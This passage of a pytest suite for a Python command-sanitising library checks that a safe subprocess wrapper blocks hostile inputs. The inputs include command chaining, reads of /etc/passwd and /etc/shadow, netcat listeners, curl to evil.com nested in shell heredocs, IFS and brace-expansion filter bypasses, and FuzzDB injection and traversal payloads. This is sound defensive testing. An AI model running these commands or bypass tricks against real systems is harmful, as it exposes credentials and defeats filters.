("/bin/c*at '{test.txt}' ", {"cat", "test.txt"}), 181 | # Check that /etc or /private/etc for mac handling is correct 182 | ("cat /etc/passwd /etc/sudoers ", {"cat", "passwd", "sudoers"}), 183 | ("/bin/cat /etc/passwd", {"cat", "passwd"}), 184 | # Check fifo and symlink 185 | ("cat {fifo_testfile}", {"cat", "fifo_testfile"}), 186 | # Symlink should resolve to cwdtest.txt so should get the symlink and the target 187 | ( 188 | "cat {symlink_testfile}", 189 | {"cat", "symlink_testfile", "cwd_testfile"}, 190 | ), 191 | # Check a command with binary name as an argument 192 | ("echo 'cat' {test.txt}", {"echo", "cat", "test.txt"}), 193 | # Command has a directory so should get the dir and all the subfiles and resolved symlink to cwdtest.txt 194 | ( 195 | "grep 'cat' -r {rglob_testdir}", 196 | {"grep", "cat", "rglob_testdir", "rglob_testfile"}, 197 | ), 198 | ("nc -l -p 1234", {"nc"}), 199 | ("curl https://example.com", {"curl"}), 200 | ("sh -c 'curl https://example.com'", {"bash", "curl"}), 201 | ("cat '{space_in_name}'", {"cat", "space_in_name"}), 202 | ], 203 | ) 204 | def test_resolve_paths_in_parsed_command( 205 | self, command, expected_paths, setup_teardown 206 | ): 207 | testpaths = setup_teardown 208 | command = insert_testpaths(command, testpaths) 209 | expected_paths = {testpaths[p] for p in expected_paths} 210 | 211 | _, parsed_command = _parse_command(command) 212 | abs_paths, abs_path_strings = _resolve_paths_in_parsed_command(parsed_command) 213 | assert abs_paths == expected_paths 214 | assert abs_path_strings == {str(p) for p in expected_paths} 215 | 216 | @pytest.mark.parametrize( 217 | "string, expanded_str", 218 | [ 219 | # Simple variable expansions 220 | ("$HOME", f"{str(Path.home())}"), 221 | ("$PWD", f"{Path.cwd()}"), 222 | ("$IFS", " "), 223 | ("$HOME $PWD $IFS", f"{str(Path.home())} {Path.cwd()} "), 224 | ("${HOME} ${PWD} ${IFS}", f"{str(Path.home())} {Path.cwd()} "), 225 | # Slice expansions 226 | ("${IFS}", " "), 227 | ("${IFS:0}", " "), 228 | ("${IFS:0:1}", " "), 229 | ("${HOME:4:20}", f"{str(Path.home())[4:20]}"), 230 | ("${HOME:4}", f"{str(Path.home())[4:]}"), 231 | ("${HOME:1:-10}", f"{str(Path.home())[1:-10]}"), 232 | ("${HOME::2}", f"{str(Path.home())[0:2]}"), 233 | ("${HOME::}", f"{str(Path.home())[0:0]}"), 234 | ("${HOME: -1: -10}", f"{str(Path.home())[-1:-10]}"), 235 | ("${HOME:1+2+3-4:1.5+2.5+6-5.0}", f"{str(Path.home())[2:5]}"), 236 | ("${BADKEY:0:2}", ""), 237 | # Default value expansions that look like slice expansions 238 | ("${BADKEY:-1}", "1"), 239 | ("${BADKEY:-1:10}", "1:10"), 240 | ("A${BADKEY:0:10}B", "AB"), 241 | ("A${BADKEY:-}B", "AB"), 242 | ("A${BADKEY:- }B", "A B"), 243 | # Default value expansions 244 | ("${HOME:-defaultval}", f"{str(Path.home())}"), 245 | ("${HOME:=defaultval}", f"{str(Path.home())}"), 246 | ("${HOME:+defaultval}", "defaultval"), 247 | ("${BADKEY:-defaultval}", "defaultval"), 248 | ("${BADKEY:=defaultval}", "defaultval"), 249 | ("${BADKEY:+defaultval}", ""), 250 | ("${BADKEY:-$USER}", f"{getenv('USER')}"), 251 | # Nested default value expansions 252 | ("${BADKEY:-${USER}}", f"{getenv('USER')}"), 253 | ("${BADKEY:-${BADKEY:-${USER}}}", f"{getenv('USER')}"), 254 | # Values set during expansions should be used 255 | ("${BADKEY:=setval} $BADKEY ${BADKEY:=unused}", "setval setval setval"), 256 | ("${BADKEY:=cu} ${BADKEY2:=rl} ${BADKEY}${BADKEY2}", "cu rl curl"), 257 | ( 258 | "${BADKEY:=0} ${BADKEY2:=10} ${HOME:BADKEY:BADKEY2}", 259 | f"0 10 {str(Path.home())[0:10]}", 260 | ), 261 | ( 262 | "${BADKEY:=5} ${BADKEY2:=10} ${HOME: BADKEY + BADKEY2 - 10: BADKEY2 - 3 }", 263 | f"5 10 {str(Path.home())[5:7]}", 264 | ), 265 | ( 266 | "${BADKEY:=5} ${BADKEY2:=10} ${HOME: $BADKEY + ${BADKEY2} - 10: BADKEY2 - 3 }", 267 | f"5 10 {str(Path.home())[5:7]}", 268 | ), 269 | ("${HOME: BADKEY=5: BADKEY+BADKEY}", f"{str(Path.home())[5:10]}"), 270 | ("${HOME: BADKEY=5: BADKEY+=5 } $BADKEY", f"{str(Path.home())[5:10]} 10"), 271 | ( 272 | "${HOME: BADKEY=1+2+3 : BADKEY2=BADKEY+4 } $BADKEY $BADKEY2", 273 | f"{str(Path.home())[6:10]} 6 10", 274 | ), 275 | ( 276 | "${HOME: BADKEY=5+6-1-5 : BADKEY2=BADKEY+5 } ${BADKEY} ${BADKEY2}", 277 | f"{str(Path.home())[5:10]} 5 10", 278 | ), 279 | ("${BADKEY:=} ${BADKEY:-cu}${BADKEY}${BADKEY:-rl}", " curl"), 280 | # Brace expansions 281 | ("a{d,c,b}e", "ade ace abe"), 282 | ("a{'d',\"c\",b}e", "ade ace abe"), 283 | ("a{$HOME,$PWD,$IFS}e", f"a{str(Path.home())}e a{Path.cwd()}e a e"), 284 | # Int Sequence expansions 285 | ("{1..-1}", "1 0 -1"), 286 | ("{1..1}", "1"), 287 | ("{1..4}", "1 2 3 4"), 288 | ("{1..10..2}", "1 3 5 7 9"), 289 | ("{1..10..-2}", "9 7 5 3 1"), 290 | ("{10..1..2}", "10 8 6 4 2"), 291 | ("{10..1..-2}", "2 4 6 8 10"), 292 | ("{-1..10..2}", "-1 1 3 5 7 9"), 293 | ("{-1..10..-2}", "9 7 5 3 1 -1"), 294 | ("{10..-1..2}", "10 8 6 4 2 0"), 295 | ("{10..-1..-2}", "0 2 4 6 8 10"), 296 | ("{1..-10..2}", "1 -1 -3 -5 -7 -9"), 297 | ("{1..-10..-2}", "-9 -7 -5 -3 -1 1"), 298 | ("{-10..1..2}", "-10 -8 -6 -4 -2 0"), 299 | ("{-10..1..-2}", "0 -2 -4 -6 -8 -10"), 300 | ("{-1..-10..2}", "-1 -3 -5 -7 -9"), 301 | ("{-1..-10..-2}", "-9 -7 -5 -3 -1"), 302 | ("{-10..-1..2}", "-10 -8 -6 -4 -2"), 303 | ("{-10..-1..-2}", "-2 -4 -6 -8 -10"), 304 | ("{10..-10..2}", "10 8 6 4 2 0 -2 -4 -6 -8 -10"), 305 | ("{10..-10..-2}", "-10 -8 -6 -4 -2 0 2 4 6 8 10"), 306 | # Step of 0 should not expand but should remove the brackets 307 | ("{1..10..0}", "1..10..0"), 308 | ("AB{1..10..0}CD", "AB1..10..0CD"), 309 | # Character Sequence expansions 310 | ("{a..z}", "a b c d e f g h i j k l m n o p q r s t u v w x y z"), 311 | ("{a..d}", "a b c d"), 312 | ("{a..Z}", "a ` _ ^ ] \\ [ Z"), 313 | ( 314 | "{A..z}", 315 | "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z", 316 | ), 317 | ("{A..D}", "A B C D"), 318 | ("{z..a}", "z y x w v u t s r q p o n m l k j i h g f e d c b a"), 319 | ("{Z..a}", "Z [ \\ ] ^ _ ` a"), 320 | ( 321 | "{0..Z}", 322 | "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z", 323 | ), 324 | ( 325 | "{0..z}", 326 | "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z", 327 | ), 328 | ( 329 | "{a..1}", 330 | "a ` _ ^ ] \\ [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A @ ? > = < ; : 9 8 7 6 5 4 3 2 1", 331 | ), 332 | # Character Sequence expansions with step should be returned as is 333 | ("{a..z..2}", "{a..z..2}"), 334 | # Expansions that increase number of words 335 | ("a{1..4}e", "a1e a2e a3e a4e"), 336 | ( 337 | "AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", 338 | f"AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval", 339 | ), 340 | ("AB{1..4}CD", "AB1CD AB2CD AB3CD AB4CD"), 341 | # Invalid expansions should not be expanded 342 | ("AB{1..$HOME}CD", f"AB{'{'}1..{str(Path.home())}{'}'}CD"), 343 | ("{1..--1}", "{1..--1}"), 344 | ("{Z..a..2}", "{Z..a..2}"), 345 | # With a '-' in the expansion defaultval 346 | ( 347 | "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", 348 | "find . -name '*.txt' -exec cat {} + ", 349 | ), 350 | ], 351 | ) 352 | def test_shell_expansions(self, string, expanded_str): 353 | assert _shell_expand(string) == expanded_str 354 | 355 | @pytest.mark.parametrize( 356 | "string", 357 | [ 358 | # These should be blocked because they are banned expansions 359 | "${!prefix*}", 360 | "${!prefix@}", 361 | "${!name[@]}", 362 | "${!name[*]}", 363 | "${#parameter}", 364 | "${parameter#word}", 365 | "${parameter##word}", 366 | "${parameter%word}", 367 | "${parameter%%word}", 368 | "${parameter/pattern/string}", 369 | "${parameter//pattern/string}", 370 | "${parameter/#pattern/string}", 371 | "${parameter/%pattern/string}", 372 | "${parameter^pattern}", 373 | "${parameter^^pattern}", 374 | "${parameter,pattern}", 375 | "${parameter,,pattern}", 376 | "${parameter@operator}", 377 | # All these should be blocked because evaluation of nested expansions 378 | # returns a / which is a banned expansion operator 379 | "${BADKEY:-$HOME}", 380 | "${BADKEY:-${HOME}}", 381 | "${BADKEY:-${BADKEY:-${HOME}}}", 382 | # Same as previous but with @ and ^ in the nested expansion 383 | "${BADKEY:-{a..1}}", 384 | "${BADKEY:-{a..Z}}", 385 | # These should be blocked because they are invalid arithmetic expansions 386 | "${HOME:1-}", 387 | "${HOME:1+}", 388 | "${HOME: -}", 389 | "${HOME: +}", 390 | "${HOME:1+2+3-}", 391 | "${HOME:1+2+3+}", 392 | "${HOME:V=}", 393 | "${HOME: V= }", 394 | "${HOME:V=1=}", 395 | ], 396 | ) 397 | def test_banned_shell_expansion(self, string): 398 | with pytest.raises(SecurityException) as cm: 399 | _shell_expand(string) 400 | 401 | error_msg = cm.value.args[0] 402 | assert error_msg.startswith( 403 | "Disallowed shell expansion" 404 | ) or error_msg.startswith("Invalid arithmetic in shell expansion") 405 | 406 | 407 | EXCEPTIONS = { 408 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException( 409 | "Disallowed access to sensitive file" 410 | ), 411 | "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), 412 | "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), 413 | "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), 414 | "PREVENT_ADMIN_OWNED_FILES": SecurityException( 415 | "Disallowed access to file owned by" 416 | ), 417 | "ANY": SecurityException("Any Security exception"), 418 | } 419 | 420 | 421 | @pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) 422 | class TestSafeCommandRestrictions: 423 | 424 | def _run_test_with_command( 425 | self, 426 | command, 427 | expected_result, 428 | restrictions, 429 | original_func, 430 | shell=True, 431 | compare_stderr=False, 432 | *args, 433 | **kwargs, 434 | ): 435 | if isinstance(expected_result, SecurityException): 436 | with pytest.raises(SecurityException) as cm: 437 | safe_command.run( 438 | original_func=original_func, 439 | command=command, 440 | *args, 441 | restrictions=restrictions, 442 | shell=shell, 443 | **kwargs, 444 | ) 445 | raised_exception = cm.value 446 | # If the expected exception is not "Any Security exception" then check that the raised exception starts with the expected message 447 | if expected_result.args[0] != "Any Security exception": 448 | assert raised_exception.args[0].startswith(expected_result.args[0]) 449 | 450 | else: 451 | result = safe_command.run( 452 | original_func=original_func, 453 | command=command, 454 | *args, 455 | restrictions=restrictions, 456 | shell=shell, 457 | capture_output=True, 458 | text=True, 459 | **kwargs, 460 | ) 461 | if result: 462 | compare_val = ( 463 | result.stdout.strip() 464 | if not compare_stderr 465 | else result.stderr.strip() 466 | ) 467 | assert compare_val == expected_result 468 | 469 | @pytest.mark.parametrize( 470 | "command", 471 | [ 472 | "ls -l; whoami", 473 | "ls -l && whoami", 474 | "ls -l || whoami", 475 | "ls -l | whoami", 476 | "ls -l\nwhoami", 477 | "ls -l & whoami", 478 | "echo $(whoami)", 479 | "echo `whoami`", 480 | "cat <(whoami)", 481 | "cat <<(whoami)", 482 | "cat < <(whoami)", 483 | "echo 'whoami' > >(sh)", 484 | "echo 'whoami' >> >(sh)", 485 | "echo 'whoami' >>(sh)", 486 | "echo 'whoami' >>>(sh)", 487 | ">(sh <<(cat<<<(whoami)", 490 | "sh -c 'whoami'", 491 | "find . -name '*.txt' -exec cat {} + ", 492 | "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", 493 | ["ls", "-l;", "whoami"], 494 | ["ls", "-l", "&&", "whoami"], 495 | ["ls", "-l", "||", "whoami"], 496 | ["ls", "-l", "|", "whoami"], 497 | ["ls", "-l", "\nwhoami"], 498 | ["ls", "-l", "&", "whoami"], 499 | ["echo", "$(whoami)"], 500 | ["echo", "`whoami`"], 501 | ["cat", "<(whoami)"], 502 | ["cat", "<<(whoami)"], 503 | ["cat", "<", "<(whoami)"], 504 | ["echo", "'whoami'", ">", ">(sh)"], 505 | ["echo", "'whoami'", ">>", ">(sh)"], 506 | ["echo", "'whoami'", ">>(sh)"], 507 | ["echo", "'whoami'", ">>>(sh)"], 508 | [">(sh", "<<(cat<<<(whoami)"], 511 | ["sh", "-c", "'whoami'"], 512 | ["find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"], 513 | ["find", ".", "-name", "'*.txt'", "${BADKEY:--exec}", "cat", "{}", "+"], 514 | ], 515 | ) 516 | def test_check_multiple_commands(self, command, original_func, setup_teardown): 517 | exception = EXCEPTIONS["PREVENT_COMMAND_CHAINING"] 518 | restrictions = {"PREVENT_COMMAND_CHAINING"} 519 | self._run_test_with_command(command, exception, restrictions, original_func) 520 | 521 | @pytest.mark.parametrize( 522 | "command", 523 | [ 524 | "cat /etc/shadow", 525 | "cat /etc/passwd", 526 | "cat '/etc/passwd'", 527 | 'cat "/etc/passwd"', 528 | 'cat "/etc/pa*sswd"', 529 | "cat /etc/pa*sswd", 530 | "cat /etc///pa*sswd*", 531 | "cat /etc/sudoers", 532 | # "cat ../../../../../../../../../../../../../../../../../../../../etc/sudoers.d/../sudoers", 533 | # "cat /etc/sudoers.d/../sudoers", 534 | "cat ~/../../../../../../../../../../../../../../../../../../etc/p*sswd", 535 | ["cat", "/etc/shadow"], 536 | ["cat", "/etc/passwd"], 537 | ["cat", "/etc/passwd"], 538 | ["cat", "/etc/passwd"], 539 | ["cat", "/etc/pa*sswd"], 540 | ["cat", "/etc/pa*sswd"], 541 | ["cat", "/etc///pa*sswd*"], 542 | ["cat", "/etc/sudoers"], 543 | # ["cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"], 544 | # ["cat", "/etc/sudoers.d/../sudoers"], 545 | [ 546 | "cat", 547 | "~/../../../../../../../../../../../../../../../../../../etc/p*sswd", 548 | ], 549 | ], 550 | ) 551 | def test_check_sensitive_files(self, command, original_func, setup_teardown): 552 | exception = EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] 553 | restrictions = {"PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"} 554 | self._run_test_with_command(command, exception, restrictions, original_func) 555 | 556 | @pytest.mark.parametrize( 557 | "command", 558 | [ 559 | "ls -l /usr/bin/nc", 560 | "ls -l /usr/bin/netcat", 561 | "ls -l /usr/bin/curl", 562 | "curl https://example.com", 563 | "sh -c 'curl https://example.com'", 564 | 'sh -c "curl https://example.com"', 565 | "sh -c ' curl https://example.com'", 566 | "sh -c 'sh -c \" curl https://example.com\" '", 567 | "sh -c \"sh -c 'curl https://example.com' \"", 568 | "find . -name '*' -exec curl {} + ", 569 | "find . -name '*' -exec /usr/bin/curl {} + ", 570 | "find . -name '*' -exec /usr/bin/cu*l {} + ", 571 | " netcat -l -p 1234", 572 | "nc -l -p 1234", 573 | "/usr/bin/nc -l -p 1234", 574 | "/usr/bin/nc* -l -p 1234", 575 | "/usr/*i**/nc -l -p 1234", 576 | "{nc,-l,-p,1234}", 577 | "${BADKEY:-nc} -l -p 1234", 578 | # Check that IFS can't be used to bypass 579 | "${IFS}nc${IFS}-l${IFS}-p${IFS}1234", 580 | "${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234", 581 | "${BADKEY:-nc} ${BADKEY:--l} ${BADKEY:--p} ${BADKEY:-1234}", 582 | "${IFS}/usr/bin/nc*${IFS} -l -p 1234", 583 | "$IFS nc${IFS}-l -p 1234", 584 | "find . -name '*' -exec \"${IFS}/usr/bin/cu*l${IFS}\" {} + ", 585 | "sh -c 'sh -c \"${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}\" '", 586 | "sh <<< 'bash <<< \"curl evil.com\"'", 587 | "sh <<< 'bash<<< \"curl evil.com\"'", 588 | "sh<<<'bash<<<\"curl evil.com\"'", 589 | ["ls", "-l", "/usr/bin/nc"], 590 | ["ls", "-l", "/usr/bin/netcat"], 591 | ["ls", "-l", "/usr/bin/curl"], 592 | ["curl", "https://example.com"], 593 | ["sh", "-c", "curl https://example.com"], 594 | ["sh", "-c", " curl https://example.com"], 595 | ["sh", "-c", 'sh -c " curl https://example.com" '], 596 | ["sh", "-c", "sh -c 'curl https://example.com' "], 597 | ["find", ".", "-name", "'*'", "-exec", "curl", "{}", "+"], 598 | ["find", ".", "-name", "'*'", "-exec", "/usr/bin/curl", "{}", "+"], 599 | ["find", ".", "-name", "'*'", "-exec", "/usr/bin/cu*l", "{}", "+"], 600 | [" netcat ", "-l", "-p", "1234"], 601 | ["nc", "-l", "-p", "1234"], 602 | ["/usr/bin/nc", "-l", "-p", "1234"], 603 | ["/usr/bin/nc*", "-l", "-p", "1234"], 604 | ["/usr/*i**/nc", "-l", "-p", "1234"], 605 | ["{nc,-l,-p,1234}"], 606 | ["${IFS}nc${IFS}-l${IFS}-p${IFS}1234"], 607 | ["${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234"], 608 | ["${BADKEY:-nc}", "${BADKEY:--l}", "${BADKEY:--p}", "${BADKEY:-1234}"], 609 | ["${IFS}/usr/bin/nc*${IFS}", "-l", "-p", "1234"], 610 | ["$IFS nc${IFS}", "-p", "1234"], 611 | [ 612 | "find", 613 | ".", 614 | "-name", 615 | "'*'", 616 | "-exec", 617 | '"${IFS}/usr/bin/cu*l${IFS}"', 618 | "{}", 619 | "+", 620 | ], 621 | ["sh", "-c", 'sh -c "${IFS}/usr/bin/c*rl${IFS}https://example.com${IFS}" '], 622 | ["sh", "<<<", "'bash <<< \"curl evil.com\"'"], 623 | ["sh", "<<<", "'bash<<<\"curl evil.com\"'"], 624 | ["sh<<<'bash<<<\"curl evil.com\"'"], 625 | ], 626 | ) 627 | def test_check_banned_executable(self, command, original_func, setup_teardown): 628 | exception = EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] 629 | restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} 630 | self._run_test_with_command(command, exception, restrictions, original_func) 631 | 632 | @pytest.mark.parametrize( 633 | "command", 634 | [ 635 | "cat {fifo_testfile}", 636 | "cat {symlink_testfile}", 637 | ["cat", "{fifo_testfile}"], 638 | ["cat", "{symlink_testfile}"], 639 | ], 640 | ) 641 | def test_check_path_type(self, command, original_func, setup_teardown): 642 | exception = EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] 643 | restrictions = {"PREVENT_UNCOMMON_PATH_TYPES"} 644 | 645 | testpaths = setup_teardown 646 | command = insert_testpaths(command, testpaths) 647 | self._run_test_with_command(command, exception, restrictions, original_func) 648 | 649 | @pytest.mark.parametrize( 650 | "command", 651 | [ 652 | "cat /etc/passwd", 653 | "cat /var/log/*", 654 | "grep -r /var/log", 655 | ["cat", "/etc/passwd"], 656 | ["cat", "/var/log/*"], 657 | ["grep", "-r", "/var/log"], 658 | ], 659 | ) 660 | def test_check_file_owner(self, command, original_func, setup_teardown): 661 | exception = EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] 662 | restrictions = {"PREVENT_ADMIN_OWNED_FILES"} 663 | self._run_test_with_command(command, exception, restrictions, original_func) 664 | 665 | @pytest.mark.parametrize( 666 | "command, expected_result", 667 | [ 668 | # These commands should not be blocked and should return the expected result 669 | ("echo HELLO", "HELLO"), 670 | ("cat {test.txt}", "USERDATA1\nUSERDATA2\nUSERDATA3"), 671 | ("/bin/cat {test2.txt}", "USERDATA4\nUSERDATA5\nUSERDATA6"), 672 | # Globbing should not be blocked or affect the result 673 | ("grep -e 'USERDATA[12]' {test.txt}", "USERDATA1\nUSERDATA2"), 674 | # Find should not be blocked unless using -exec or trying to find sensitive files 675 | ("find {rglob_testdir} -name '*.txt' -print -quit", "{rglob_testfile}"), 676 | (["echo", "HELLO"], "HELLO"), 677 | (["cat", "{test.txt}"], "USERDATA1\nUSERDATA2\nUSERDATA3"), 678 | (["/bin/cat", "{test2.txt}"], "USERDATA4\nUSERDATA5\nUSERDATA6"), 679 | (["grep", "-e", "USERDATA[12]", "{test.txt}"], "USERDATA1\nUSERDATA2"), 680 | ( 681 | ["find", "{rglob_testdir}", "-name", "*.txt", "-print", "-quit"], 682 | "{rglob_testfile}", 683 | ), 684 | ], 685 | ) 686 | def test_valid_commands_not_blocked( 687 | self, command, expected_result, original_func, setup_teardown 688 | ): 689 | if original_func.__name__ == "call": 690 | # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor 691 | return 692 | 693 | testpaths = setup_teardown 694 | command = insert_testpaths(command, testpaths) 695 | expected_result = insert_testpaths(expected_result, testpaths) 696 | 697 | # Use all restrictions to make sure none of them block the command 698 | restrictions = [ 699 | "PREVENT_COMMAND_CHAINING", 700 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", 701 | "PREVENT_COMMON_EXPLOIT_EXECUTABLES", 702 | "PREVENT_UNCOMMON_PATH_TYPES", 703 | ] 704 | shell = isinstance(command, str) 705 | self._run_test_with_command( 706 | command, expected_result, restrictions, original_func, shell=shell 707 | ) 708 | 709 | @pytest.mark.parametrize( 710 | "command, expected_result, popen_kwargs", 711 | [ 712 | ("echo $HOME/somefile/", f"{str(Path.home())}/somefile/", {"shell": True}), 713 | ( 714 | "echo $HOME", 715 | "/Users/TESTHOME", 716 | {"env": {"HOME": "/Users/TESTHOME"}, "shell": True}, 717 | ), 718 | ( 719 | "echo $HOME", 720 | EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], 721 | {"env": {"HOME": "/etc/passwd"}, "shell": True}, 722 | ), 723 | ( 724 | ["/bin/echo $HOME/somefile/"], 725 | f"{str(Path.home())}/somefile/", 726 | {"shell": True}, 727 | ), 728 | (["/bin/echo", "$HOME/somefile/"], "$HOME/somefile/", {"shell": False}), 729 | # Should only raise exception if shell is True or executable is a shell 730 | ( 731 | ["/bin/cat /etc/${BADKEY:-passwd}"], 732 | EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], 733 | {"shell": True}, 734 | ), 735 | ( 736 | ["/bin/cat /etc/${BADKEY:-passwd}"], 737 | EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], 738 | {"shell": False, "executable": "/bin/bash"}, 739 | ), 740 | (["/bin/cat", "/etc/${BADKEY:-passwd}"], "", {"shell": False}), 741 | # Executable takes precedence over shell so this should not raise an exception even though the shell expansion would resolve to /etc/passwd 742 | (["/etc/${BADKEY:-passwd}"], "", {"shell": True, "executable": "/bin/cat"}), 743 | # env kwarg values used in shell expansions 744 | ( 745 | "echo $HOME/{file1.txt,file2.txt,${BADKEY:=file3.txt},${BADKEY:+file4.txt}}", 746 | "/Users/TESTHOME/file1.txt /Users/TESTHOME/file2.txt /Users/TESTHOME/file3.txt /Users/TESTHOME/file4.txt", 747 | {"shell": True, "env": {"HOME": "/Users/TESTHOME"}}, 748 | ), 749 | ( 750 | ["-c", 'cat /{junk1,"${TEST:1:2}${TEST:0:1}"}c/p*sswd'], 751 | EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], 752 | {"shell": False, "executable": "bash", "env": {"TEST": "test"}}, 753 | ), 754 | # path resolution should be based on env variables 755 | ("which ls", which("ls"), {"shell": True}), 756 | ("which ls", "", {"shell": True, "env": {"PATH": ""}}), 757 | ( 758 | "(sh)<<<'{nc,-l,-p,4444}'", 759 | EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], 760 | {"shell": True}, 761 | ), 762 | # No exception should be raised here becuase when env PATH is set to empty string, the executables can't be found 763 | ("(sh)<<<'{nc,-l,-p,4444}'", "", {"shell": True, "env": {"PATH": ""}}), 764 | ], 765 | ) 766 | def test_popen_kwargs(self, command, expected_result, popen_kwargs, original_func): 767 | if original_func.__name__ == "call": 768 | # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor 769 | return 770 | 771 | restrictions = [ 772 | "PREVENT_COMMAND_CHAINING", 773 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", 774 | "PREVENT_COMMON_EXPLOIT_EXECUTABLES", 775 | ] 776 | 777 | self._run_test_with_command( 778 | command, expected_result, restrictions, original_func, **popen_kwargs 779 | ) 780 | 781 | # FUZZDB tests 782 | @pytest.mark.parametrize( 783 | "command", 784 | [ 785 | payload.replace("{cmd}", command) 786 | for command in [ 787 | "cat /etc/passwd", 788 | "curl https://example.com", 789 | "sh -c 'curl https://example.com'", 790 | "find . -name '*' -exec curl '{}' '+'", 791 | "nc -l -p 1234", 792 | ] 793 | for payload in FUZZDB_OS_COMMAND_INJECTION_PAYLOADS 794 | ], 795 | ) 796 | def test_fuzzdb_injection_payloads(self, command, original_func): 797 | restrictions = [ 798 | "PREVENT_COMMAND_CHAINING", 799 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", 800 | "PREVENT_COMMON_EXPLOIT_EXECUTABLES", 801 | ] 802 | self._run_test_with_command( 803 | command, EXCEPTIONS["ANY"], restrictions, original_func 804 | ) 805 | 806 | @pytest.mark.parametrize( 807 | "filepath", 808 | [ 809 | payload.replace("{FILE}", file) 810 | for file in [ 811 | "/etc/passwd", 812 | "/etc/passwd*", 813 | "/etc/pass*d", 814 | "*/etc/pass*d", 815 | "/et**/pa*sswd", 816 | "etc/passwd", 817 | "etc/passwd*", 818 | "etc/pass*d", 819 | "*etc/pass*d", 820 | "et**/pa*sswd", 821 | ] 822 | for payload in FUZZDB_PATH_TRAVERSAL_PAYLOADS 823 | ], 824 | ) 825 | def test_fuzzdb_traversal_payloads(self, filepath, original_func): 826 | restrictions = [ 827 | "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", 828 | ] 829 | 830 | try: 831 | if original_func.__name__ == "run": 832 | popen_kwargs = {"capture_output": True, "text": True} 833 | else: 834 | popen_kwargs = {} 835 | 836 | command = f"cat {filepath}" 837 | result = safe_command.run( 838 | original_func=original_func, 839 | command=command, 840 | restrictions=restrictions, 841 | shell=True, 842 | **popen_kwargs, 843 | ) 844 | # Anything that is allowed to run is a junk path that does not resolve to /etc/passwd 845 | # and should thus not be blocked by PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES 846 | if original_func.__name__ == "run": 847 | assert "root:" not in result.stdout 848 | else: 849 | assert result != 0 850 | except (SecurityException, OSError) as e: 851 | if isinstance(e, SecurityException): 852 | assert e.args[0].startswith("Disallowed access to sensitive file") 853 | elif isinstance(e, OSError): 854 | assert e.strerror == "File name too long" 855 | -------------------------------------------------------------------------------- /tests/safe_requests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pixee/python-security/a0759f114e25a52b962207aa2f9ff2056f810478/tests/safe_requests/__init__.py -------------------------------------------------------------------------------- /tests/safe_requests/test_api.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from security.exceptions import SecurityException 4 | from security.safe_requests import get, post 5 | from security.safe_requests.host_validators import DefaultHostValidator 6 | 7 | 8 | @pytest.mark.parametrize( 9 | "method_name", 10 | [ 11 | get, 12 | post, 13 | ], 14 | ) 15 | class TestSafeRequestApi: 16 | @pytest.mark.parametrize("protocol", ["http", "https"]) 17 | def test_url_default_safe_protocols(self, protocol, method_name): 18 | r = method_name(f"{protocol}://httpbin.org/basic-auth/user/pass") 19 | assert r is not None 20 | 21 | def test_url_unsafe_protocol(self, method_name): 22 | with pytest.raises(SecurityException): 23 | method_name("ftp://example.com/file.txt") 24 | 25 | def test_url_safe_protocol_allowed(self, method_name): 26 | r = method_name("ftp://example.com/file.txt", allowed_protocols=("ftp",)) 27 | assert r is not None 28 | 29 | @pytest.mark.parametrize("host", DefaultHostValidator.KNOWN_INFRASTRUCTURE_HOSTS) 30 | def test_unsafe_host(self, host, method_name): 31 | with pytest.raises(SecurityException): 32 | method_name(f"http://{host}/user-data/") 33 | --------------------------------------------------------------------------------